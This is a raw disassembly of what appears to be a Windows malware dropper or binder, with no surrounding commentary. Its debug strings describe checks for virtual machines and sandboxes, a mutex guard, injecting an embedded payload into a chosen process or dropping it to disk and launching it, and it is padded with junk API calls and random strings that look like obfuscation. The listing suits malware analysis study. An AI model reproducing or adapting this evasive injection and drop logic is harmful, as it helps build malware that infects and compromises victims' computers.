call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x4465c4
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov edx, dword [ebp - 0x90]
push edx
push 0x45d034
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0x94], 0xa54
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0xc], 0
jmp 0x402260
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 5
jge 0x40233a
push 0x446610
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x90]
push ecx
mov edx, dword [ebp - 0xc]
imul edx, edx, 9
add edx, 0x45c7bf
push edx
call fcn.00407ab0
add esp, 8
call fcn.00407570
call fcn.00407570
mov eax, dword [ebp - 0xc]
imul eax, eax, 9
movsx ecx, byte [eax + 0x45c7bf]
cmp ecx, 0x30
jne 0x4022b9
jmp 0x402257
push 0x44662c
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0xc]
imul eax, eax, 9
add eax, 0x45c7c1
push eax
call fcn.00407ab0
add esp, 8
call fcn.00407570
call fcn.00407570
push 0x446648
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
push esp
pop esi
mov ecx, dword [ebp - 0x90]
push ecx
mov edx, dword [ebp - 0xc]
imul edx, edx, 9
add edx, 0x45c7c3
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x402257
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0xc], 0
jmp 0x402356
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 5
jge 0x402469
push 0x44667c
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x90]
push ecx
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x1a8
add edx, 0x45c7ec
push edx
call fcn.00407ab0
add esp, 8
call fcn.00407570
call fcn.00407570
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x1a8
movsx ecx, byte [eax + 0x45c7ec]
cmp ecx, 0x30
jne 0x4023b5
jmp 0x40234d
push 0x446698
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x1a8
add eax, 0x45c864
push eax
call fcn.00407ab0
add esp, 8
push 0x44669c
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0x90]
push ecx
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x1a8
add edx, 0x45c88d
push edx
call fcn.00407ab0
add esp, 8
push 0x4466b8
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x1a8
add ecx, 0x45c992
push ecx
call fcn.00407ab0
add esp, 8
jmp 0x40234d
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45c509
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407340
cmp eax, 0xb7
jne 0x402503
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Mutex_is_already_in_use.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.u4Iwz_c_w2mkdxXLo9R7HHNvV6Hcx_KV1S4rr___x9qr_FFyWY2WHk_QT__xKBFdZvBT1PmztPv_t__fDCIbyMxL_c_G_HzZMGRbvzHyFYZpK_QU__kUqj__bCg_mzTNm_WYyl8AfDdN9o_RYLO_RA__hpD_j1_B__TQ_mlWl9Z_4AFAqAa2vL3f_3___9yK9Hnzu_G945_K_Wr_S2pkGot_x9vaz3ZvY_FJ__fLdoGzu_1b_IJMAE_p_o6c_9T4PxActm_G_MNTflX6KX8Xw6_6FwuuRmGmk_3I19jbhO3OOz_iw_wFAAYRPYpjPb7HlcKSZNm4YO__KZ_mkC_1ZXbQi8d5mJbQkgbLqvn_gb_DGB9zq3ZamguyIHT_I8_Q_TS_I_u_ErWPa12y9cK_h__dyaW_Z_2_r3Wz8nOh47p3__AGksFjGJ_I4LuobFtSsG_ep6774_dgW2y18MwGd_uElWEM_k1LXzh_3KLn5W_b193MZ22_ivXlUXYZOghbnZOcNG9Fh
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
sub eax, eax
jmp 0x402f45
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
movsx edx, byte [0x45c775]
cmp edx, 0x31
jne 0x40258c
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00404c70
test eax, eax
jne 0x40255d
call fcn.00404da0
or eax, eax
je 0x402564
sub eax, eax
jmp 0x402f45
push esp
pop esi
push str.DEBUG:_Checking_for_Virtual_Machines.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.FTBh76EJZm5_gb__uQ_2_7dG4_V_sv__8a5uyoPb6Gq3G_LJ_Whvu___Jiiy_Ax8IP7_C1GfIS4Lb_2_2VjqQn_Y__Q_vdBKD_N6_FhVR2p8bXXqJ_M_cF_Ey3urAM__Es3Pec_EpDJ9DkFA5__k4FsO8ef5QFozSQbOU_QE__lkC_At_W_E_3jPlAQ_3er___W_qNcOV_29_eGAz_4Z_uwC_UKox8dwP__gpcG3_YoItF_4X_PB_5loUN_HEa_fO8z___sIU5SV
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
movsx eax, byte [0x45c777]
cmp eax, 0x31
jne 0x40262d
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00404b00
test eax, eax
je 0x4025df
xor eax, eax
jmp 0x402f45
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Checking_for_Sandboxes.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x58
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x45d148
call fcn.00404320
add esp, 4
push esp
pop esi
push eax
push 0x45d148
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Initialized_the_file_successfully.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
cmp dword [0x45d24c], 0
je 0x4026b4
push esp
pop esi
push str.DEBUG:__This_is_the_first_launch_for_us._
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.ASQPOEs2zsboD8pTH_1xy_z8_f7hW_zBq_M_D_y_7LD_jX__CCrK_ri3_nG3_4N_WX_MsC_5ab5K6G_y_l_Fxkwz3Rq9_O7pVUlr9_rWCOIuj_yo8_aLxZRGe_hPL99tSejQ_g__IYUTIbGs6RbD_qL_o28_BTIrVvX_kTsam_3kGI1tz5ZQ_IoxX_4myP1Ym6V_upoixDYqiiu5mdPBmpJKgVt_sgJeuIsq_6PEa3C_Pn6KL_P__JfOVQliy__kyctGMGgtu_yB_zrT_h2_9kpolAOFFeuFpP__GkP__Wr_w_YsP_Gzj_z2_4QM_UxU8_nv___hvAi6J_BxRCidI_KIv4veUtU__26VE_tIK3__J4K4P73z9Xk1Vu_OLVbY_w3931_N_wb_LvQ_AN1Ekvr_57Na_d_NZp77Xx2RtOl_CHTJ__UVF_aMhrQlhry2_gJSwE__nH6Bg_LF_1V__abuD_9H___8F9GQK__o_eBF64bHVjryVMuu_e_67qAjuofMrGNiyP_h_vb_BGlMuYZ2Qg1_v9JRpwoW_4w_ejwoUJEcpMrF_yHQdO__ySrsghxc_MQx_oEqcU_C_Wb3_5_GW
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x4026e6
push esp
pop esi
push str.DEBUG:__NOT_our_first_launch._
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.pW_929v_le_vaao_s9U6__gWpe_jJPi_a__9ENueNpA__rH_EGp_8RQ1m_6HsM_Pz_kfN_C1ONRUw_hUkOx2pSgplXR4zeiX__qLZe28emh__u_VpC__1oGMfA_SU__zAjlIK_4nq7c29UYD_k36g1fXwSCBQw19_G_2B3t_n5n_cf_yHaVvYSW_T_K__cBOj3Kla_tXEbD8lFE__9M_9D_y_G88BxdZ__vVxJS9_X_l5__i9Oj_i5faEiJqauunG_mHs_z_____5Uk_t_eVrpqSurgiP_O7DSfy_nid_AiqQtv_K9LIF993pu4NAyx_P_U7n_p__WeptHGR9wqm_mT_qOJx_gJT_rVhHbDvRpNEkQz_Wbb6__HQMZ7RzeCszLG93_FMuuxV3CcV8fw5_Nh7qspn86s_skXVs3P__C4GRF_Lcn_b__Z1Q__555SlBe__U9C2_c_AEIj2Tk__iywh__Rr_za5_M3_Bsuk_XzBMCNh_W9Y8GR7_XGbIttK_J8PiIH_dBBnqOmBO1lzBn5_9_qGn8mD1QBR__By7EwJfS_IlV_zbLN_WGz76LUHrxwtRY_8YDoE7I_pe__NXyKXbCSx5__aU_KRcC1_ER
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x105
call fcn.004075b0
add esp, 4
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x98], ecx
call fcn.00407570
call fcn.00407570
cmp dword [0x45d250], 0
je 0x402837
cmp dword [0x45b48c], 0
jne 0x402837
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45b374
push 0x45c796
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp esi, esp
call fcn.00407340
or eax, eax
jne 0x402773
call fcn.00407570
call fcn.00407570
push 0x45d148
mov edx, dword [ebp - 0x98]
push edx
call fcn.00407ab0
add esp, 8
jmp 0x402835
push esp
pop esi
push 0x45b378
push 0x45c796
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp esi, esp
call fcn.00407340
or eax, eax
jne 0x4027b7
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45c380
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
jmp 0x402835
push 0x45b37c
call fcn.00407bb0
add esp, 4
push esp
pop esi
push eax
mov ecx, dword [ebp - 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push 0x447340
mov edx, dword [ebp - 0x98]
push edx
call fcn.00407ac0
add esp, 8
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45c796
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00407340
jmp 0x40286c
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x45d148
mov ecx, dword [ebp - 0x98]
push ecx
call fcn.00407ab0
add esp, 8
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Finalized_place_of_injection:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov edx, dword [ebp - 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.a6_RIHwopinzE_Bk2Jc__6p8FQjggORxY_UIg_f___zY9_z3_qfQFs_qY7fE_2d5lC_TmE8jTO_VMJg__g_dEf__EqJ___obXZ3I8q4qi_Bgg_mo__BBLF9R4vpyngGQTuAPXhRRMQm8nqH6D_bX54Am_gacL___S_T__2ZqugCs_1TfV_g6_eOCG_D81_XvJDomNawt_i__KEbwMvSD_GuhN8G_P_QT_osAIHLtOb_uIBZ__CNiqXK2wz_SI_VBL2_p6hn_rex__r_mrM__W_A_q_6n5f5Z_19C_NvZwQ__nJ__nsn_x_NRFYZ2mefPeuJUR_n4J37ztz1WqCV_U3RnMDVuzWskWxzrH7hL5Q_S__9UBY_Bq1Xby_OOSeT_VZVVABY_K__DpvXEBPhW55W19zyZvpwZyWvA7_ee8tMeGaJMO_9o__OJFzlOHGFOsDmb59gR_oIiXm2I8n4xF__uAvpny__QCZ_8upbuwrgwP6LmW__l5Ob_tCm3JBax4k1ZTIQZ_NE_8i_tJL8T__Y3fM__aLZ_isG_MoWj_y_cv5Ms_FL_3iuksiW4kTrJsd__h2xNa_T2IDu46vA_1Khs_lW5qqW__Cjp6__Q34Xvey_1CwcQK73_wd_CSk7B1X_x_XJ5zAX7LSqz__EpjiJ_Tb3OJKHF___o_ZN_WdAi1Ti_SPswMgkSWBPEh_JeG3T3_2WxmZq_kSl_x_jJu_n_sQA_xr_dvo_TC_l_u_H_7i5K_VCF_Io_FL_EF9NCi__se_f1JJu_hj__wR__unZckA5SSf8ZKO_nt8__y_xq2oYEw_FcDA_B_ReqF4v_frYYQ16m1sri_HDXl_5J_d4i9bH_hhT37_yihhIO_NQq5Xk_mfBKkpLIvG44vIRf_Y1J6m_D2wj_u_t_po37Wc3pCEi_IOH__y_Y9x_B_asAD4_pQCptLMTjwRE_68DNJsZR59ClnaPLq_xAiZmL1URLKu_kIMn_QbuqC2Y_EmCw71KMn_xkX_mTpebYs_USUruQHsPV_8_t_ss451Ud6P
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str._bS8Q_Apw7K_7VlUL_NY_n_pi_J1_fmwv_7pPO_QXqq8Gc8md4aYFVhd3H_lwvTvCOSlMWVb_WXxb8F4unb_F_3l4l1LuUTUbl1vSbvM__u__kC__k5Pcg
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push 0x105
call fcn.004075b0
add esp, 4
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x9c], eax
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x105
call fcn.004075b0
add esp, 4
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0xa0], ecx
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0xa4], 0
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0xc], 0
jmp 0x402981
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 5
jg 0x402efd
push esp
pop esi
push 0x45c781
mov eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0xa
call fcn.004075b0
add esp, 4
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xa4], ecx
call fcn.00407570
call fcn.00407570
push 0xa
mov edx, dword [ebp - 0xa4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004077d0
add esp, 0xc
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0xa4]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
cmp dword [ebp - 0xc], 0
je 0x402a83
mov eax, dword [ebp - 0xc]
sub eax, 1
imul eax, eax, 9
movsx ecx, byte [eax + 0x45c7c1]
cmp ecx, 0x32
je 0x402a83
mov edx, dword [ebp - 0xc]
sub edx, 1
imul edx, edx, 9
movsx eax, byte [edx + 0x45c7c1]
cmp eax, 0x31
jne 0x402e5d
cmp dword [0x45d24c], 0
je 0x402e5d
lea ecx, [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
call fcn.00403050
add esp, 8
mov dword [ebp - 0x70], eax
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x70], 0
je 0x402ab5
cmp dword [ebp - 0x84], 0
jne 0x402aba
jmp 0x402efd
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
mov eax, dword [0x45d2b8]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
push str.51JjWy8loTn5ZUauGlytxyPeNpDP5ys0
mov edx, dword [ebp - 0x70]
push edx
call fcn.004051f0
add esp, 0x10
mov dword [ebp - 0x70], eax
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x70], 0
je 0x402b1d
cmp dword [ebp - 0x84], 0
jne 0x402b22
jmp 0x402efd
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0xc], 0
je 0x402da1
mov eax, dword [ebp - 0xc]
sub eax, 1
imul eax, eax, 9
movsx ecx, byte [eax + 0x45c7bf]
cmp ecx, 0x32
jne 0x402da1
push 0x45b39c
call fcn.00407bb0
add esp, 4
push eax
mov edx, dword [ebp - 0xa0]
push edx
call fcn.00407ab0
add esp, 8
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x44794c
mov eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0xa4]
push ecx
mov edx, dword [ebp - 0xa0]
push edx
call fcn.00407ac0
add esp, 8
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x447980
mov eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45c509
mov ecx, dword [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x4479b4
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00407340
mov eax, dword [ebp - 0xc]
sub eax, 1
imul eax, eax, 9
add eax, 0x45c7c3
push eax
mov ecx, dword [ebp - 0xa0]
push ecx
call fcn.00407ac0
add esp, 8
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Dropping_file_instead_of_injecting:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0xc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.w_bxxNZmt_q1qPYMXdfACnU_yQ_G_Y7oftpuR_Vl7MQezz_P3E6M5VNTtrvcRP_EtjS_z
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 0xa0]
push eax
call dword [0x45d284]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0xa8], eax
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0xa8], 0xffffffff
jne 0x402d04
jmp 0x402efd
push esp
pop esi
push 0
lea ecx, [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [0x45d288]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov edx, dword [ebp - 0xa8]
push edx
call dword [0x45d28c]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 1
push 0
push 0
mov eax, dword [ebp - 0xa0]
push eax
push 0x45b3a0
push 0
call dword [0x45d280]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x402e5b
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x98]
push edx
call fcn.004058e0
add esp, 8
test eax, eax
jne 0x402df1
push esp
pop esi
push str.DEBUG:_Could_not_inject._Critical_error__nicht_gut._Terminating_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.x_12Dgddw_nqX1_iCp__z4QEGcRd_ZRwk_M_a5vx8uWPlWOU_Nq3p2jAZIX_DF__fScIwrdUTu4FQ2sEm2QDNh1m_Flmx4TC_PKk85HG_KIDLliV__vu_XdVrItDsmkU_7_ffZ__N_n_lh9LcKI_I_jevhlfXI18flT__sOT_rQs_D_FT_n_LRNY_jrYzSx_l_qsq_XQy_PHp9ivROwJ1ddZtnT_e_Zw2mJ_VTcQh_3_JIPQ1UDYw2h7gzXCP_QArUMkC_wSTWfqCxaIyeWQB5rXuJ_rfm39lJjvzrBJYvG_Bh6_VuoM1W_La53AUWl47mZ7Wp_gfRkb_MuD4_WH5c6qMDD2_TKo8RfG_aJ_xxM8QH1ztVDSr_qKpC_8FyUjV_deI_88M8URNcWDIRZRSX_hTOo8WbO_C_2b_6VMh3qUV_S2x2G_caus_FIWEGGm_VU__bl_9dFC38O3m_udTjA__Zwbskf5DACR_ak1QGfeKMgg_ecm
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
xor eax, eax
jmp 0x402f45
push esp
pop esi
push str.DEBUG:_Injected_file_in_resource:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.JUoo_u_l__p_R_eEFd_6c_YJZg_v2VuIpZ_so5Cf_97pP5feU___WAhCoJ4_x1VfZTD_Z_cCH8wDDSMQxm_Fu_mGfSyZWi_MPqroekZpgnHHGuAu7n__2vQN7S_Ts6x2_I_tJ_RgZrZOB87Y_Q21dn4mRZUeS7ecSvkh_n_Pqcfst4FApIY_md_Ldwz__N_xfi2l6v__Ybi_B_DO_kInapFl9Xhud_t_9_JBWtOcchdDa_UGdl_253yywOtXSfwlhBMNEl__GQ_s_Kj_cI_O6__g59JGSU__8E_8E_hnc8_5dSzbSO_A__I_r5mv_ns1GFtjSo_nog_xy_e28U_l_Fx6poIzOsv_MxDIW7l_zk_ja_LQq8kD_WVz_IoA_cjPA_YChTi3LZ6_saHy_Zapk4F942v6_2_n5M1e4q_MgIqdWC_FkB_H_CbKS_fktPGsvrKcEY7_rE_l53bHPwkloe_w_jjs2ZmcrhPBr34Qx_A4rO_KthrH_TJqQ2kr_mM9GQE_wT_skq_8vbm_bHqT_4qQU3d_N_Z8_RVsTsM9Cl_fhr_I8zr_r8ceuswHG_JduhyTF_8OsdeT4C3h_WJ_DQASavFNuUoDVda9OnnoScR_t8CI6uXURm1b_sJER4TfEuy_nfYnCvAd5d_49O_OiTaX5j_HS2Vt_bcCgwXbgFb9_q_3crhxS7cFI2dOYy_n_4jET88p_jJgcWhJb3oZAZ_sDG7mpki_ekMr4_VmYsaxGMEimmXYe2n1YfJg_3MeM4T1irna_L__3oLBOA_OIRy4P_gb_D_G53Z5jFVd3_N_HTu_xr2j_E_ZI215_Z_KPkza1gBvbuWv__fKvov_X_gCU7_XAGE_w2PI_kZKdP6e_K_X_AJOILUhut1l6tlT8OOJH5_4hjImC_DTnhI_HR_l_NTKD_ieIgL8kAQonFagOnkM4_bMp
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0xc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
jmp 0x402e8c
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Skipping_binded_file.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0xc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x70], 0
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x84], 0
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0xbc]
push edx
call fcn.004076e0
add esp, 4
jmp 0x402978
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Program_completed_successfully_with_exit_code_0.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.oebiVucHefayH_SuI63fjoF3BvqQhN_XEtpY_RE__vXOBQFCZL_MTei3_BaB_SdCknrv_j5_AyOzVUgOkCzD4PTuRa_R9rU9__TozHk_csf_g9iUML__4l82N__Ste9__Uq8IT6TxKXfh__aF_HN3dN9VXbjLqup_OZ7xv1ZiSB6u7_CAB_OJ
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
sub eax, eax
push edx
push ebp
pop ecx
push eax
lea edx, [0x402f6c]
call fcn.00407370
pop eax
pop edx
pop edi
pop esi
add esp, 0xbc
cmp ebp, esp
call fcn.00407340
push ebp
pop esp
pop ebp
ret 0x10